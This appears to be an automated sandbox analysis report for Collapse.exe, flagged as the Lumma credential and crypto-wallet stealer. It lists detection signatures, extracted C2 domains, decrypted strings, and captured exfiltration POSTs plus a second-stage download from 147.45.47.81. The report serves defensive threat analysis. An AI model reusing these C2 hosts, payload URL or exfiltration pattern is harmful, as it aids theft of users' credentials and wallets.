Edit tour

Windows Analysis Report
Collapse.exe

Overview

General Information

Sample name:	Collapse.exe
Analysis ID:	1580146
MD5:	06bb4e80f74838278ce9467788cc6d94
SHA1:	5327b59b123d9e888ae42ef10fcf7fda094909e0
SHA256:	09852f87a7032ed63baf8f840d9bb379efb399e42bcdeedf9f4dff5b1b561c31
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Collapse.exe (PID: 6672 cmdline: "C:\Users\user\Desktop\Collapse.exe" MD5: 06BB4E80F74838278CE9467788CC6D94)

conhost.exe (PID: 3044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Collapse.exe (PID: 3960 cmdline: "C:\Users\user\Desktop\Collapse.exe" MD5: 06BB4E80F74838278CE9467788CC6D94)

Collapse.exe (PID: 2756 cmdline: "C:\Users\user\Desktop\Collapse.exe" MD5: 06BB4E80F74838278CE9467788CC6D94)

Collapse.exe (PID: 6508 cmdline: "C:\Users\user\Desktop\Collapse.exe" MD5: 06BB4E80F74838278CE9467788CC6D94)

Collapse.exe (PID: 5924 cmdline: "C:\Users\user\Desktop\Collapse.exe" MD5: 06BB4E80F74838278CE9467788CC6D94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["manyrestro.lat", "wordyfindy.lat", "observerfry.lat", "shapestickyr.lat", "talkynicer.lat", "curverpluch.lat", "tentabatte.lat", "slipperyloo.lat", "bashfulacid.lat"], "Build id": "BVnUqo--@distez"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Collapse.exe PID: 5924	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Collapse.exe PID: 5924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Collapse.exe PID: 5924	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T02:17:07.075896+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	172.67.199.72	443	TCP
2024-12-24T02:17:09.058332+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	172.67.199.72	443	TCP
2024-12-24T02:17:11.496122+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	172.67.199.72	443	TCP
2024-12-24T02:17:14.075000+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	172.67.199.72	443	TCP
2024-12-24T02:17:16.375867+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	172.67.199.72	443	TCP
2024-12-24T02:17:19.765970+0100	2028371	3	Unknown Traffic	192.168.2.7	49715	172.67.199.72	443	TCP
2024-12-24T02:17:22.776587+0100	2028371	3	Unknown Traffic	192.168.2.7	49726	172.67.199.72	443	TCP
2024-12-24T02:17:26.959139+0100	2028371	3	Unknown Traffic	192.168.2.7	49740	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T02:17:07.818283+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	172.67.199.72	443	TCP
2024-12-24T02:17:09.821663+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	172.67.199.72	443	TCP
2024-12-24T02:17:27.729027+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49740	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T02:17:07.818283+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T02:17:09.821663+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	172.67.199.72	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T02:17:12.704980+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49701	172.67.199.72	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["manyrestro.lat", "wordyfindy.lat", "observerfry.lat", "shapestickyr.lat", "talkynicer.lat", "curverpluch.lat", "tentabatte.lat", "slipperyloo.lat", "bashfulacid.lat"], "Build id": "BVnUqo--@distez"}

Multi AV Scanner detection for submitted file

Source: Collapse.exe	ReversingLabs: Detection: 36%
Source: Collapse.exe	Virustotal: Detection: 31%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for sample

Source: Collapse.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: BVnUqo--@distez

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 6_2_004164FD CryptUnprotectData,

6_2_004164FD

Source: Collapse.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49740 version: TLS 1.2

Source: Collapse.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009A0CF8 FindFirstFileExW,	0_2_009A0CF8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009A0DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009A0DA9
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009A0CF8 FindFirstFileExW,	3_2_009A0CF8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009A0DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_009A0DA9

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00422870
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00422870
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea ecx, dword ptr [eax+0000069Fh]	6_2_00422870
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [ebx+eax*2]	6_2_0040B8A4
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2]	6_2_0043C210
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 6E87DD67h	6_2_0043C210
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	6_2_0042DCFD
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov eax, edi	6_2_00438C90
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov esi, edx	6_2_004085D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov byte ptr [ecx], bl	6_2_0040D643
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov ecx, dword ptr [esi+24h]	6_2_0040D643
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov byte ptr [edi], bl	6_2_0040D643
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+ecx*2]	6_2_0043E720
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ecx, word ptr [esp+edi*2+34h]	6_2_0041B84B
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then jmp eax	6_2_0043F800
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea ecx, dword ptr [edx+000026D6h]	6_2_0041D810
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp al, 2Eh	6_2_00426837
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea eax, dword ptr [ecx+ecx]	6_2_0042C097
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	6_2_0042A8B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then jmp eax	6_2_0043F8B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov esi, ecx	6_2_00409140
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then jmp eax	6_2_0043F940
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea ecx, dword ptr [eax+00006C8Ch]	6_2_0042D941
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov eax, dword ptr [0044A184h]	6_2_0042D14C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	6_2_00436150
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp dword ptr [edi+eax*8], 385488F2h	6_2_004191D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ebx, word ptr [esp+eax*2+04h]	6_2_004191D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2]	6_2_0043C980
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx edx, word ptr [ecx]	6_2_0043A1A9
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2-000112FCh]	6_2_00417A51
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2+00000130h]	6_2_00417A51
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov esi, eax	6_2_00417A51
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp word ptr [ebp+ebx+02h], 0000h	6_2_00421200
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00421200
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [ecx], dx	6_2_00417303
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00417303
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	6_2_0042A320
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ebx, word ptr [eax]	6_2_0041B323
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov byte ptr [edi], cl	6_2_0041B323
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then add ecx, esi	6_2_004253E5
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov edi, eax	6_2_00402BA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	6_2_004073B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	6_2_004073B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov eax, dword ptr [00447218h]	6_2_00424C22
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_0040E425
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea ecx, dword ptr [eax-00004752h]	6_2_0042BC3F
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov byte ptr [edi], al	6_2_0042BC3F
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea ecx, dword ptr [eax-00004752h]	6_2_0042BCC8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov byte ptr [edi], al	6_2_0042BCC8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx edi, word ptr [edx+esi*2]	6_2_004274E8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2+04h]	6_2_0043C480
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_0041B4B9
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then jmp eax	6_2_0043F5C0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2+0Ch]	6_2_00413DA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_0040E65B
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then lea ecx, dword ptr [eax-00007F25h]	6_2_004146D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then jmp eax	6_2_0043F6D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+edx*2+1Ch]	6_2_004396F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 4B1BF3DAh	6_2_004396F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then cmp word ptr [eax+ecx+02h], 0000h	6_2_004396F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*2]	6_2_004406F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ebp, word ptr [esp+edx*2]	6_2_004406F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx ecx, word ptr [esp+edi*2+02h]	6_2_0043D71C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then jmp eax	6_2_0043F5C0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+ecx*2]	6_2_0043E7DE
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movzx esi, word ptr [esp+ecx*2+1Ch]	6_2_0043EFF1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then movsx eax, byte ptr [edx+ebp]	6_2_0043EFF1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 4x nop then mov byte ptr [ecx], al	6_2_0042D7B7

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49701 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49740 -> 172.67.199.72:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat

Source: Joe Sandbox View	IP Address: 172.67.199.72 172.67.199.72
Source: Joe Sandbox View	IP Address: 147.45.47.81 147.45.47.81

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49715 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49726 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49740 -> 172.67.199.72:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SXXY4QL4J5NLF0GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12828Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8JXQ8I4DTVH3RZSSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15066Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=B8QW7W633XHP9MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20379Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TOXTP5F9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1162Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YIZOIU1F9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552485Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 84Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 147.45.47.81

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 147.45.47.81

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/
Source: Collapse.exe, 00000006.00000003.1687945451.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1690030321.00000000036B2000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688339547.00000000036AE000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1690013146.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe
Source: Collapse.exe, 00000006.00000002.1689404392.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe)
Source: Collapse.exe, 00000006.00000002.1689404392.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/m
Source: Collapse.exe, 00000006.00000002.1689404392.0000000001007000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/p
Source: Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81:80/conhost.exel
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
